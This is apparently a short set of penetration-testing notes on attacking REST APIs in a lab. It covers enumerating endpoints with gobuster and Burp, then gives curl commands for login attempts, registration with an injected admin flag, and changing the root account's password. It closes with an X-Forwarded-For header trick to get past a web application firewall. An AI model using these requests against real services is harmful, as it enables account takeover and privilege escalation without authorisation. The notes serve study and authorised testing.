APIs
Fuzzing APIs
Burp could also be used with Intruder + Sniper
Rest APIs
APIs usually follow the format of /api_name/v1
, we can enumerate using a gobuster pattern
Inspecting the API
You should dir bust all api paths you find
Posting to an API
curl -d '{"user":"admin", "password":"test"}' -H 'Content-Type:application/json' http://192.168.205.249:33414/login/v1
curl -d '{"user":"admin", "password":"test", "admin":"True"}' -H 'Content-Type:application/json' http://192.168.205.249:33414/register/v1
Example: Changing root account password
curl
'http://192.168.50.16:33414/user/v1/root/password'
-H 'Content-Type: application/json'
-H 'Authorization: OAuth eyJ0eXAiOiJKV1Q
-d '{"password": "adot8"}'
curl -X 'PUT'
'http://192.168.50.16:33414/users/v1/root/password'
-H 'Content-Type: application/json'
-H 'Authorization: OAuth eyJ0eXAiOiJKV1Q'
-d '{"password": "adot8"}'
Uploading Files
WAF Bypass
Add the X-Forwarded-For: 127.0.0.1
header to the request.
Last updated